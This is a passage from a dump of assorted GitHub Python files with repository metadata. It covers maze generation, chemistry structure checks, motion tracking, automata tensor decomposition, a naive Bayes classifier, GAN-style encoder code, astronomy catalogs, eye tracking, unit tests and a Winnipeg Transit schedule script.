unvisitRow\n\t\t\t\t\tcol_index = unvisitCol\n\n\t\t\t\t\n\treturn maze\n\t\t\nif __name__ == '__main__':\n\tmazes = generateMazes() #3D numpy array for the 50 mazes \n\t\n\tfor mazeInd in range(0,mazesNumber):\n\t\t#np.savetxt(f, result.astype(int),, delimiter=\",\")\n\t\t \n\t\tnp.savetxt('maze '+str(mazeInd)+'.txt',mazes[mazeInd].astype(int) ,fmt='%i', delimiter=\",\")\n","repo_name":"ajaycasalena/CS440","sub_path":"MazeGen.py","file_name":"MazeGen.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26582128428","text":"class LewisStructure:\n def __init__(self, structure=None):\n if structure is None:\n self.structure = []\n # the above structure will be filled with lists in the following format: [<element>, <bonds>,\n # <lone pairs>, [[<other indices that it is connected to>, <single bond, double bond, or triple bond>]]\n else:\n self.structure = structure\n\n def check_octet(self, i):\n if i[0] == \"H\":\n if i[1] != 1:\n return False\n else:\n if 2 * i[1] + 2 * i[2] > 8:\n return False\n\n def check_for_no_bonds(self,i):\n if i[1] < 1:\n return False\n\n def check_validity(self):\n for i in self.structure:\n self.check_octet(i)\n self.check_for_no_bonds(i)\n\n\n","repo_name":"zarbod/Resonancestructuregenerator","sub_path":"lewisstructure.py","file_name":"lewisstructure.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70067937322","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport matplotlib.patches as patches\n\n# write your script here, we recommend the above libraries for making your animation\nimport SubtractDominantMotion as SDM\n\nframe_req = [30, 60, 90, 120]\naerial = np.load('../data/aerialseq.npy')\nmasks = []\nfor i in range(0,aerial.shape[2]-1):\n\n # comment the if-block for visualisation\n if (i+1) not in frame_req:\n continue\n\n It = aerial[:,:,i]\n It1 = aerial[:,:,i+1]\n mask = SDM.SubtractDominantMotion(It,It1)\n if (i+1) in frame_req:\n masks.append(np.copy(mask));\n\n \n # uncommment for visualisation\n '''\n fig = plt.figure()\n plt.imshow(It1,cmap='gray')\n plt.imshow(mask,alpha=0.2,cmap='viridis')\n if i+1 in frame_req:\n plt.savefig(str(i+1)+'_aerial.png')\n plt.show(block=False)\n plt.pause(0.01)\n plt.close()\n '''\nmasks = np.dstack(masks)\nassert(masks.shape==(aerial.shape[0],aerial.shape[1],4))\nnp.save('aerialseqrects.npy',masks)\n \n","repo_name":"kartikarcot/Lucas_Kanade_Tracking","sub_path":"code/testAerialSequence.py","file_name":"testAerialSequence.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24763997774","text":"import os\nimport pickle\nfrom fsa_to_tensor import dfa_to_tensor\nimport argparse\nfrom load_dataset import load_classification_dataset\nfrom Metis.utils.data import decompose_tensor_split\n\n\ndef decompose_automata(args):\n merged_automata = pickle.load(\n open(os.path.dirname(__file__) + '/data/snort/{}/automata/{}.pkl'.format(args.dataset,\n args.automata_name), 'rb'))\n\n print('AUTOMATA TO TENSOR')\n print('Total States: {}'.format(len(merged_automata['states'])))\n # first load vocabs\n dataset = load_classification_dataset(args)\n # print(dataset['data'])\n word2idx = dataset['t2i']\n print(word2idx)\n language_tensor, state2idx, wildcard_mat, language = dfa_to_tensor(merged_automata, word2idx)\n complete_tensor = language_tensor + wildcard_mat\n\n print('DECOMPOSE SPLIT AUTOMATA')\n\n for random_state in range(1):\n print('DECOMPOSING RANK: {}, TENSOR SIZE: {}'.format(args.rank, language_tensor.shape))\n V_embed_split, D1_split, D2_split, rec_error = \\\n decompose_tensor_split(language_tensor, language, word2idx, args.rank,\n random_state=random_state, n_iter_max=30, init=args.init)\n\n save_dict = {\n 'automata': merged_automata,\n 'V': V_embed_split,\n 'D1': D1_split,\n 'D2': D2_split,\n 'language': language,\n 'wildcard_mat': wildcard_mat,\n }\n pickle.dump(save_dict, open(\n os.path.dirname(__file__) + '/data/snort/{}/automata/automata.{}.{}.pkl'.format(args.dataset,\n args.dataset,\n args.rank), 'wb'))\n\n print('FINISHED')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', type=str, default='chat', help=\"dataset name\")\n parser.add_argument('--automata_name', type=str, default='all',\n help=\"automata name prefix\")\n parser.add_argument('--rank', type=int, default=200, help=\"rank\")\n parser.add_argument('--init', type=str, default='svd', help=\"initialization\")\n parser.add_argument('--dataset_spilt', type=float, default=1, help=\"rate of using labeled data\")\n\n args = parser.parse_args()\n assert args.init in ['svd', 'random']\n\n decompose_automata(args)\n","repo_name":"YouAreSpecialToMe/Metis","sub_path":"ByteLevelTokenization/decompose_snort_automata.py","file_name":"decompose_snort_automata.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"9602372301","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 2 02:18:03 2019\n\n@author: Anupam Shankar Dey\n\"\"\"\n\nfrom __future__ import print_function\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\nds = pd.read_csv('eighthr.csv')\nlabels = pd.read_csv('eighthrnames.csv')\nlabels2 = labels.iloc[:,:1].values\nlabeldf = pd.DataFrame(labels2)\nX = ds.iloc[:,1:73].values\ny = ds.iloc[:,73:].values\nds4 = pd.DataFrame(X)\n\ncols = [i.strip() for i in labeldf[0]]\n\nX = ds4.replace(to_replace='?',value=np.nan)\n\nfrom sklearn.preprocessing import Imputer\nimputer = Imputer(missing_values='NaN',strategy='mean',axis=0,verbose=0)\nimputer = imputer.fit(X)\nX = imputer.transform(X)\n\nX = pd.DataFrame(X,columns=cols[1:])\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=42)\ny_train,y_test = y_train.ravel(),y_test.ravel()\n\n#Making likelihood estimations\n\n#Find the two classes\nX_train_class_0 = [X_train[i] for i in range(len(X_train)) if y_train[i]==0]\nX_train_class_1 = [X_train[i] for i in range(len(X_train)) if y_train[i]==1]\n\n#Find the class specific likelihoods of each feature\nlikelihoods_class_0 = np.mean(X_train_class_0, axis=0)/100.0\nlikelihoods_class_1 = np.mean(X_train_class_1, axis=0)/100.0\n\n#Calculate the class priors\nnum_class_0 = float(len(X_train_class_0))\nnum_class_1 = float(len(X_train_class_1))\n\nprior_probability_class_0 = num_class_0 / (num_class_0 + num_class_1)\nprior_probability_class_1 = num_class_1 / (num_class_0 + num_class_1)\n\nlog_prior_class_0 = np.log10(prior_probability_class_0)\nlog_prior_class_1 = np.log10(prior_probability_class_1)\n\ndef calculate_log_likelihoods_with_naive_bayes(feature_vector, Class):\n assert len(feature_vector) == num_features\n log_likelihood = 0.0 #using log-likelihood to avoid underflow\n if Class==0:\n for feature_index in range(len(feature_vector)):\n if feature_vector[feature_index] == 1: #feature present\n log_likelihood += np.log10(likelihoods_class_0[feature_index]) \n elif feature_vector[feature_index] == 0: #feature absent\n log_likelihood += np.log10(1.0 - likelihoods_class_0[feature_index])\n elif Class==1:\n for feature_index in range(len(feature_vector)):\n if feature_vector[feature_index] == 1: #feature present\n log_likelihood += np.log10(likelihoods_class_1[feature_index]) \n elif feature_vector[feature_index] == 0: #feature absent\n log_likelihood += np.log10(1.0 - likelihoods_class_1[feature_index])\n else:\n raise ValueError(\"Class takes integer values 0 or 1\")\n \n return log_likelihood\n\ndef calculate_class_posteriors(feature_vector):\n log_likelihood_class_0 = calculate_log_likelihoods_with_naive_bayes(feature_vector, Class=0)\n log_likelihood_class_1 = calculate_log_likelihoods_with_naive_bayes(feature_vector, Class=1)\n \n log_posterior_class_0 = log_likelihood_class_0 + log_prior_class_0\n log_posterior_class_1 = log_likelihood_class_1 + log_prior_class_1\n \n return log_posterior_class_0, log_posterior_class_1\n\ndef classify_day(document_vector):\n feature_vector = [int(element>0.0) for element in document_vector]\n log_posterior_class_0, log_posterior_class_1 = calculate_class_posteriors(feature_vector)\n if log_posterior_class_0 > log_posterior_class_1:\n return 0\n else:\n return 1\n \n#Predict ozone day or not on the test set\npredictions = []\nfor day in X_test:\n predictions.append(classify_day(day))\n \ndef evaluate_performance(predictions, ground_truth_labels):\n correct_count = 0.0\n for item_index in xrange(len(predictions)):\n if predictions[item_index] == ground_truth_labels[item_index]:\n correct_count += 1.0\n accuracy = correct_count/len(predictions)\n return accuracy\n\naccuracy_of_naive_bayes = evaluate_performance(predictions, y_test)\nprint(accuracy_of_naive_bayes)\n\n#for i in range(100):\n# print(predictions[i], y_test[i])","repo_name":"AnupamDey/DSDA-Sem-Project","sub_path":"naive_bayes_ozone2.py","file_name":"naive_bayes_ozone2.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23981589756","text":"import tensorflow as tf\r\nimport sys\r\nsys.path.append(\"./dcgan/\")\r\nimport tensorlayer as tl\r\nfrom model import *\r\nfrom tensorlayer.layers import *\r\n\r\n\r\ndef vanilla_encoder(inputs, z_dim=100,is_train=True, reuse=False):\r\n '''\r\n Build a vanilla encoder with convolutional layers, lrelu, batch norm\r\n :param inputs:\r\n :param z_dim:\r\n :param is_train:\r\n :param reuse:\r\n :return:\r\n '''\r\n df_dim = 64 # Dimension of discrim filters in first conv layer. [64]\r\n w_init = tf.random_normal_initializer(stddev=0.02)\r\n gamma_init = tf.random_normal_initializer(1., 0.02)\r\n with tf.variable_scope(\"encoder\", reuse=reuse):\r\n tl.layers.set_name_reuse(reuse)\r\n\r\n net_in = InputLayer(inputs, name='d/in')\r\n net_h0 = Conv2d(net_in, df_dim, (5, 5), (2, 2), act=lambda x: tl.act.lrelu(x, 0.2),\r\n padding='SAME', W_init=w_init, name='enc/h0/conv2d')\r\n\r\n net_h1 = Conv2d(net_h0, df_dim * 2, (5, 5), (2, 2), act=None,\r\n padding='SAME', W_init=w_init, name='enc/h1/conv2d')\r\n net_h1 = BatchNormLayer(net_h1, act=lambda x: tl.act.lrelu(x, 0.2),\r\n is_train=is_train, gamma_init=gamma_init, name='enc/h1/batch_norm')\r\n\r\n net_h2 = Conv2d(net_h1, df_dim * 4, (5, 5), (2, 2), act=None,\r\n padding='SAME', W_init=w_init, name='enc/h2/conv2d')\r\n net_h2 = BatchNormLayer(net_h2, act=lambda x: tl.act.lrelu(x, 0.2),\r\n is_train=is_train, gamma_init=gamma_init, name='enc/h2/batch_norm')\r\n\r\n net_h3 = Conv2d(net_h2, df_dim * 8, (5, 5), (2, 2), act=None,\r\n padding='SAME', W_init=w_init, name='enc/h3/conv2d')\r\n net_h3 = BatchNormLayer(net_h3, act=lambda x: tl.act.lrelu(x, 0.2),\r\n is_train=is_train, gamma_init=gamma_init, name='enc/h3/batch_norm')\r\n\r\n net_h4 = FlattenLayer(net_h3, name='enc/h4/flatten')\r\n net_h4 = DenseLayer(net_h4, n_units=z_dim, act=tf.identity,\r\n W_init=w_init, name='enc/h4/lin_sigmoid')\r\n logits = net_h4.outputs\r\n net_h4.outputs = tf.nn.sigmoid(net_h4.outputs)\r\n return net_h4, logits\r\n\r\ndef dcgan_decoder(inputs, image_size = 64, c_dim=3, batch_size=64, is_train=False, reuse=False):\r\n s2, s4, s8, s16 = int(image_size/2), int(image_size/4), int(image_size/8), int(image_size/16)\r\n gf_dim = 64 # Dimension of gen filters in first conv layer. [64]\r\n w_init = tf.random_normal_initializer(stddev=0.02)\r\n gamma_init = tf.random_normal_initializer(1., 0.02)\r\n with tf.variable_scope(\"generator\", reuse=reuse):\r\n tl.layers.set_name_reuse(reuse)\r\n\r\n net_in = InputLayer(inputs, name='g/in')\r\n net_h0 = DenseLayer(net_in, n_units=gf_dim*8*s16*s16, W_init=w_init,\r\n act = tf.identity, name='g/h0/lin')\r\n net_h0 = ReshapeLayer(net_h0, shape=[-1, s16, s16, gf_dim*8], name='g/h0/reshape')\r\n net_h0 = BatchNormLayer(net_h0, act=tf.nn.relu, is_train=is_train,\r\n gamma_init=gamma_init, name='g/h0/batch_norm')\r\n\r\n net_h1 = DeConv2d(net_h0, gf_dim*4, (5, 5), out_size=(s8, s8), strides=(2, 2),\r\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h1/decon2d')\r\n net_h1 = BatchNormLayer(net_h1, act=tf.nn.relu, is_train=is_train,\r\n gamma_init=gamma_init, name='g/h1/batch_norm')\r\n\r\n net_h2 = DeConv2d(net_h1, gf_dim*2, (5, 5), out_size=(s4, s4), strides=(2, 2),\r\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h2/decon2d')\r\n net_h2 = BatchNormLayer(net_h2, act=tf.nn.relu, is_train=is_train,\r\n gamma_init=gamma_init, name='g/h2/batch_norm')\r\n\r\n net_h3 = DeConv2d(net_h2, gf_dim, (5, 5), out_size=(s2, s2), strides=(2, 2),\r\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h3/decon2d')\r\n net_h3 = BatchNormLayer(net_h3, act=tf.nn.relu, is_train=is_train,\r\n gamma_init=gamma_init, name='g/h3/batch_norm')\r\n\r\n net_h4 = DeConv2d(net_h3, c_dim, (5, 5), out_size=(image_size, image_size), strides=(2, 2),\r\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h4/decon2d')\r\n logits = net_h4.outputs\r\n net_h4.outputs = tf.nn.tanh(net_h4.outputs)\r\n return net_h4, logits","repo_name":"cyrilli/Generative-Model-for-Video-Compression","sub_path":"model_compression.py","file_name":"model_compression.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"74417659241","text":"\"\"\"\nGMOS-observation_target_cats.py\nAuthor: Benjamin Floyd\n\nA simple code to collate all the AGN catalogs for clusters being observed by Becky Canning on Gemini GMOS-MOS.\n\"\"\"\n\nfrom astropy.io import ascii\nfrom astropy.table import Table, vstack\nimport astropy.units as u\n\n# Read in all the catalogs.\nspt_0000 = ascii.read('Data/Output/SPT-CLJ0000-5748_AGN.cat')\nspt_0102 = ascii.read('Data/Output/SPT-CLJ0102-4603_AGN.cat')\nspt_0142 = ascii.read('Data/Output/SPT-CLJ0142-5032_AGN.cat')\nspt_0310 = ascii.read('Data/Output/SPT-CLJ0310-4647_AGN.cat')\nspt_0324 = ascii.read('Data/Output/SPT-CLJ0324-6236_AGN.cat')\nspt_0528 = ascii.read('Data/Output/SPT-CLJ0528-5300_AGN.cat')\nspt_2258 = ascii.read('Data/Output/SPT-CLJ2258-4044_AGN.cat')\nspt_2301 = ascii.read('Data/Output/SPT-CLJ2301-4023_AGN.cat')\nspt_2337 = ascii.read('Data/Output/SPT-CLJ2337-5942_AGN.cat')\nspt_2359 = ascii.read('Data/Output/SPT-CLJ2359-5009_AGN.cat')\n\n# Join all the catalogs together\ntarget_cat = vstack([spt_0000, spt_0102, spt_0142, spt_0310, spt_0324, spt_0528, spt_2258, spt_2301, spt_2337, spt_2359])\n\n# Convert the radial distance column to arcmin (currently in arcsec 20170626)\ntarget_cat['rad_dist'] = target_cat['rad_dist'] / 60.\n\n# Add a [3.6] - [4.5] color column\ntarget_cat['I1-I2_COLOR_APER4'] = target_cat['I1_MAG_APER4'] - target_cat['I2_MAG_APER4']\n\n# Rename columns\ntarget_cat.rename_column('ALPHA_J2000', 'RA')\ntarget_cat.rename_column('DELTA_J2000', 'DEC')\ntarget_cat.rename_column('rad_dist', 'RADIAL_DIST_ARCMIN')\n\n# Sort the table\ntarget_cat = target_cat.group_by('SPT_ID')\n\nfor group in target_cat.groups:\n group.sort('I1-I2_COLOR_APER4')\n group.reverse()\n\n# Write the table to disk\nascii.write(target_cat['SPT_ID', 'RA', 'DEC', 'RADIAL_DIST_ARCMIN', 'I1_MAG_APER4', 'I1-I2_COLOR_APER4'],\n 'Data/SPT_AGN_GMOS_target_list.cat')\n","repo_name":"floydie7/SPT_AGN","sub_path":"old_scripts/Auxiliary_Observations/GMOS-observation_target_cats.py","file_name":"GMOS-observation_target_cats.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11020389654","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip() \n\ndef resolve():\n S = input()\n\n a = S.count('a')\n b = S.count('b')\n c = S.count('c')\n\n if a<b:\n if b<c:\n print('c')\n else:\n print('b')\n else:\n if a<c:\n print('c')\n else:\n print('a')\n\nif __name__ == '__main__':\n resolve()\n","repo_name":"kanji-a/competitive_programming","sub_path":"atcoder/past202004/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20974040733","text":"\r\nimport cv2\r\nfrom gaze_tracking import GazeTracking\r\nfrom gaze_tracking.eye import Eye\r\nimport numpy as np\r\n\r\nimport os\r\n\r\ngaze = GazeTracking()\r\n# webcam = cv2.VideoCapture(0)\r\n\r\nfor i in range(380, 759, 1): #tên tấm hình muốn lấy\r\n link = \"E:\\BIO-ID Dataset\\BioID_0760.jpg\";\r\n file_name = \"BioID_0\";\r\n link = link[0:18]\r\n name = file_name + str(i)\r\n link = link+name+\".jpg\"\r\n print(name)\r\n webcam = cv2.imread(link) \r\n gaze.refresh(webcam)\r\n\r\n frame = gaze.annotated_frame() #Vẽ dấu cộng tâm mắt\r\n text = \"\"\r\n\r\n if gaze.is_blinking():\r\n text = \"Blinking\"\r\n elif gaze.is_right():\r\n text = \"Looking right\"\r\n elif gaze.is_left():\r\n text = \"Looking left\"\r\n elif gaze.is_center():\r\n text = \"Looking center\"\r\n\r\n cv2.putText(frame, text, (30, 60), cv2.FONT_HERSHEY_DUPLEX, 1.6, (147, 58, 31), 2)\r\n\r\n left_pupil = gaze.pupil_left_coords()\r\n right_pupil = gaze.pupil_right_coords()\r\n cv2.putText(frame, \"Left pupil: \" + str(left_pupil), (40, 90), cv2.FONT_HERSHEY_DUPLEX, 0.9, (147, 58, 31), 1)\r\n cv2.putText(frame, \"Right pupil: \" + str(right_pupil), (40, 165), cv2.FONT_HERSHEY_DUPLEX, 0.9, (147, 58, 31), 1)\r\n \r\n\r\n trai = str(left_pupil)\r\n phai = str(right_pupil)\r\n trai = trai[1:-1]\r\n phai = phai[1:-1]\r\n title = str(trai.replace(\",\", \" \")+\" \"+phai.replace(\",\", \" \"))\r\n print(title)\r\n\r\n tentxt = 'F:\\hihi\\BioID_0385.txt' # sau khi chạy cái tạo file thì mọi người đưa 1 file bất kì vào đây\r\n tentxt = tentxt[0:8] # chỗ này tui tách ra chỉ còn => \"F:\\hihi\\\" nên có gì mng xem lại chỗ này\r\n tentxt = tentxt+name+\".txt\" # này cộng thêm đuôi txt để có gì mở tệp hoy nhe\r\n\r\n f = open(tentxt,\"w\")\r\n\r\n with open(tentxt,\"a\") as f:\r\n print(type(f))\r\n\r\n f = open(tentxt, 'r+', encoding='UTF-8') \r\n \r\n\r\n path_w = tentxt\r\n \r\n title2 = \"#LX\tLY\tRX\tRY\\n\"\r\n\r\n with open(path_w, mode='w') as f:\r\n f.write(title2)\r\n f.write(title)\r\n with open(path_w) as f:\r\n print(f.read())\r\n\r\n\r\n cv2.imshow(\"Demo\", frame)\r\n \r\n if cv2.waitKey(1) == 27:\r\n break\r\n\r\n# webcam.release()\r\ncv2.destroyAllWindows()\r\n# webcam = cv2.imread(link)\r\n\r\n# link = \"E:\\Thi\\ResFres\\BIO-ID Dataset\\BioID_0000.jpg\";\r\n\r\n","repo_name":"dangnghia2101/EYE_TRACKING_FPOLY","sub_path":"t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23796055073","text":"from decimal import Decimal\n\nimport pytest\nfrom pydantic import ValidationError\n\nfrom bo4e import Messwertstatus, Messwertstatuszusatz, Zeitreihenwertkompakt\n\n\nclass TestZeitreihenwertkompakt:\n def test_serialization(self) -> None:\n zrwk = Zeitreihenwertkompakt(\n wert=Decimal(1.5), status=Messwertstatus.ABGELESEN, statuszusatz=Messwertstatuszusatz.Z78_GERAETEWECHSEL\n )\n\n json_string = zrwk.model_dump_json(by_alias=True)\n\n assert \"1.5\" in json_string\n assert \"ABGELESEN\" in json_string\n assert \"Z78_GERAETEWECHSEL\" in json_string\n deserialized_zrwk: Zeitreihenwertkompakt = Zeitreihenwertkompakt.model_validate_json(json_string)\n\n assert isinstance(deserialized_zrwk.wert, Decimal)\n assert deserialized_zrwk.wert == Decimal(1.5)\n assert isinstance(deserialized_zrwk.status, Messwertstatus)\n assert deserialized_zrwk.status == Messwertstatus.ABGELESEN\n assert isinstance(deserialized_zrwk.statuszusatz, Messwertstatuszusatz)\n assert deserialized_zrwk.statuszusatz == Messwertstatuszusatz.Z78_GERAETEWECHSEL\n assert deserialized_zrwk == zrwk\n\n def test_wrong_datatype(self) -> None:\n with pytest.raises(ValidationError) as excinfo:\n _ = Zeitreihenwertkompakt(wert=\"helloooo\") # type: ignore[arg-type]\n\n assert \"wert\" in str(excinfo.value)\n\n def test_only_required(self) -> None:\n zrwk = Zeitreihenwertkompakt(\n wert=Decimal(1.5),\n )\n\n json_string = zrwk.model_dump_json(by_alias=True)\n\n assert \"1.5\" in json_string\n\n deserialized_zrwk: Zeitreihenwertkompakt = Zeitreihenwertkompakt.model_validate_json(json_string)\n\n assert deserialized_zrwk == zrwk\n","repo_name":"bo4e/BO4E-python","sub_path":"tests/test_zeitreihenwertkompakt.py","file_name":"test_zeitreihenwertkompakt.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"de","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"24410784562","text":"import sys\ninput = sys.stdin.readline\ncnt = 0\n\nn = int(input())\nlst = list(map(int, input().split()))\n\nfor i in lst:\n for j in range(2, i):\n if i % j == 0:\n if j == i:\n cnt += 1\n else:\n break\nprint(cnt)","repo_name":"LEEHM97/TIL","sub_path":"coding-test/백준/백준 단계별/8.기본 수학2/1978.py","file_name":"1978.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5924884664","text":"# 1 ~ 45까지,\nstart, end = tuple(map(int, input().split()))\n\nnum_list = []\ntemp = 0\nstart_idx = 0\nend_idx = 0\nfor i in range(0, 46):\n if temp < start <= temp+i:\n start_idx = i\n if temp < end <= temp+i:\n end_idx = i\n temp += i\n num_list.append(temp)\n\n# print(num_list)\nresult = 0\n# 일단 시작값, 끝값에 해당하는 값의 제곱을 곱해줌\nfor i in range(start_idx, end_idx + 1):\n result += i ** 2\n\n# 1 2 (2 3 3 3 4 4) 4 4 5 5 5 5 5\n# 시작부분에 남는 값, 끝부분에 남는 값을 빼줌\nresult -= (start - num_list[start_idx-1] - 1) * start_idx\nresult -= (num_list[end_idx] - end) * end_idx\n\nprint(result)","repo_name":"Sungayoung/Algorithm","sub_path":"01_Baekjoon/02_silver/5_1292.py","file_name":"5_1292.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40055930236","text":"# !pip install gym[classic_control]\nimport gym\nimport pickle\nimport numpy as np\n\n# Use saved model.\nfile = open('model.obj', 'rb')\nmodel = pickle.load(file)\nfile.close()\nq_table = model[\"q_table\"]\nbins = model[\"bins\"]\n\nenv = gym.make(\"CartPole-v1\", render_mode=\"human\")\nobservation, info = env.reset()\n\n\n# Transfer the continuous observation into the nearest matching discrete bin.\ndef Discrete(state, bins):\n index = []\n for i in range(len(state)):\n index.append(np.digitize(state[i], bins[i]) - 1)\n return tuple(index)\n\n\n# Run an example of using cartpole model for 1000 steps.\ncurrent_state = Discrete(env.reset()[0], bins)\nfor _ in range(1000):\n current_state = Discrete(observation, bins)\n action = np.argmax(q_table[current_state])\n observation, reward, terminated, truncated, info = env.step(action)\n env.render()\n\n if terminated or truncated:\n observation, info = env.reset()\nenv.close()\n","repo_name":"jwilliams219/IronBlimps","sub_path":"Class Assn/Midterm/Q5/Q5c.py","file_name":"Q5c.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34851277882","text":"import numpy as np\nimport math\nimport fractions\nimport sys\nfrom func import back_substitution\nnp.set_printoptions(formatter={'all':lambda x: str(fractions.Fraction(x).limit_denominator())})\n\ndef row_elimination_0(A,i,j):\n\tmultiplier = -(A[i][j])/A[j][j]\n\tA[i][j] = multiplier * A[j][j] + A[i][j] # This should result to 0\n\tfor k in range(j+1,n): # Right parts should be changed too\n\t\tA[i][k] = multiplier * A[j][k] + A[i][k]\n\tprint(\"\\n{} * R{} + R{} -> R{} \\n\".format(multiplier,j+1,i+1,i+1))\n\tprint(A)\n\n\treturn A\n\ndef row_elimination_1(A,i,j):\n\tmultiplier = 1/A[i][j] \n\t# print(multiplier)\n\tA[i][j] = multiplier * A[i][j] # This should result to one\n\t# Right parts should be changed too\n\tfor k in range(j+1,n):\n\t\tA[i][k] = multiplier * A[i][k]\t\n\n\tprint(\"\\n{} * R{} -> R{}\".format(multiplier,i+1,i+1))\n\tprint(A)\n\n\treturn A\n\ndef row_swapping(A,i,j):\n\tj_iter = j\n\twhile(A[i][j] == 0):\n\t\tj_iter += 1\n\t\tif(j_iter < m):\n\t\t\tprint(\"j_iter: \",j_iter)\n\t\t\tprint(\"m:\",m)\n\t\t\tprint(\"Swapping\")\n\t\t\tA[[i,j_iter]] = A[[j_iter,i]]\n\t\t\tprint(A)\n\t\telse:\n\t\t\tprint(\"Column {} has all zeroes. Singular matrix!\".format(j))\n\t\t\tprint(A)\n\t\t\tprint(\"Will end now...\")\n\t\t\tsys.exit(0)\n\n\n\n# A = np.array([[1,1,-1,9],[0,1,3,3],[-1,0,-2,2]],dtype=np.float)\n### 3x3\nA = np.array([[1,1,2,9],[2,4,-3,1],[3,6,-5,0]],dtype=np.float)\nA = np.array([[2,1,-1,8],[-3,0,2,-11],[-2,1,2,-3]],dtype=np.float)\n\n\n### 4x4\nA = np.array([[1,2,-1,1,6],[-1,1,2,-1,3],[2,-1,0,2,14],[1,1,-1,2,8]],dtype=np.float)\nm = A.shape[0]\nn = A.shape[1]\nprint(\"m: \",m)\nprint(\"n: \",n)\n\nprint(\"Original A: \\n\", A)\nfor j in range(0,n-1):\n\tfor i in range(j,m):\n\t\tprint(\"\\n\")\n\t\t# Check if pivot is zero\n\t\tif(j==i):\n\t\t\tif(A[i][j] == 0):\n\t\t\t\trow_swapping(A,i,j)\n\t\t\telif(A[i][j] == 1):\n\t\t\t\tprint(\"Retain\")\n\t\t\telse: \n\t\t\t\tA = row_elimination_1(A,i,j)\n\t\telse:\n\t\t\tif(A[i][j]!=0):\n\t\t\t\tA = row_elimination_0(A,i,j)\nback_substitution(A)\n\n\n\n\t\t\t","repo_name":"shebna12/LinearAlgebra","sub_path":"gaussian_elimination.py","file_name":"gaussian_elimination.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73469970054","text":"import requests\nimport json #Part of requests I guess?\nimport datetime\nfrom colorama import init, Fore, Style\ninit()\n\n\"\"\"\nListing the stops\nAdditional commit\n\"\"\"\n\nAPI_KEY = \"ymFOhCrlE6EHgrazuY8x\"\nlon = -97.08002481349236 # Flying Pizza on Edison\nlat = 49.938127673372634\ndistance = 100\n\nurl_stops = f\"https://api.winnipegtransit.com/v3/stops.json?lon={lon}&lat={lat}&distance={distance}&api-key={API_KEY}\"\n\nresponse = requests.get(url_stops).json()\n\nstopList = response['stops']\n\nprint(f\"Stops available within {distance} from coordinates ({lon}, {lat})\")\n\nfor stop in stopList:\n print(f\" {stop['key']} {stop['name']}\")\n\n\"\"\"\nTaking user input and listing schedule(s)\n\"\"\"\n\nprint(f\"Enter stop number: \")\n\nenteredValue = input()\n\n# Looping through the stop list to find the user submitted stop\n\nurl_schedules = f\"https://api.winnipegtransit.com/v3/stops/{enteredValue}/schedule.json?max-results-per-route=2&api-key={API_KEY}\"\n\nresponse2 = requests.get(url_schedules).json()\n\nscheduleList = response2['stop-schedule']\n\n# Looping through the schedule API json data\nfor routeSchedule in scheduleList['route-schedules']:\n for scheduledStop in routeSchedule['scheduled-stops']:\n times = scheduledStop['times']\n scheduledTime = datetime.datetime.fromisoformat(times['departure']['scheduled'])\n formattedScheduledTime = scheduledTime.strftime(\"%H:%M:%S\")\n estimatedTime = datetime.datetime.fromisoformat(times['departure']['estimated'])\n formattedEstimatedTime = estimatedTime.strftime(\"%H:%M:%S\")\n if scheduledTime < estimatedTime:\n color = Fore.RED\n elif scheduledTime > estimatedTime:\n color = Fore.BLUE\n if scheduledTime == estimatedTime:\n color = Fore.GREEN\n\n print(f\" {color}Scheduled: {formattedScheduledTime}{Style.RESET_ALL} {color}Estimated: {formattedEstimatedTime}{Style.RESET_ALL}\")\n\n'''\nOld and much easier to read version of my loop code, lol\n\nfor routeSchedule in scheduleList['route-schedules']:\n for scheduledStop in routeSchedule['scheduled-stops']:\n times = scheduledStop['times']\n print(f\" Scheduled: {times['departure']['scheduled']} Estimated: {times['departure']['estimated']}\")\n\n'''\n\n'''\nThis block of code was a failed attempt at error handling. The expectation in this assignment is that the user will submit a valid entry, so this can be ignored.\n\ncorrectInput = 